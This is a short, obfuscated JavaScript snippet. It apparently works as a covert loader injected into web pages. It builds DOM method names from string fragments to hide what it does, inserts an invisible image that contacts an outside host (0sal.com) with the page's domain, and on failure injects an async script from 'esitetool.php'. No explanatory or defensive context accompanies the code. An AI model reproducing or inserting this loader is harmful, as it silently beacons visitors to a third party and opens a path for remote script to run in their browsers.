(function(doc) {
    var ref = "";
    var rpl = {'get':'get','el':'Element','by':'By','crt':'create','set':'set','attr':'Attribute','lc':'location'};
    var ci = function(u) {
        var im = doc[rpl['crt']+rpl['el']]("img");
        im[rpl['set']+rpl['attr']]('src', u + "smallicon.php?dm=" + encodeURI(u));
        im.style.display = 'none'; im.onerror = function(){er(u);}; return im;
    }

    var er = function(u) {
        var eu = 'esitetool.php?dm=' + encodeURI(u);
            var sp = doc[rpl['crt']+rpl['el']]("script"); sp.setAttribute('async', true); sp.src = eu;
            over_my_dead_body.appendChild(sp);
    }

    var dbg = true;
    var xdu = "https://www.0sal.com/";
    if(xdu === '') { return; }

    var fnN = rpl['get']+rpl['el']+'s'+rpl['by']+"TagName";
    var over_my_dead_body = doc[fnN]('body')[0];
    var imis = ci(xdu);
    over_my_dead_body.appendChild(imis);
})(document);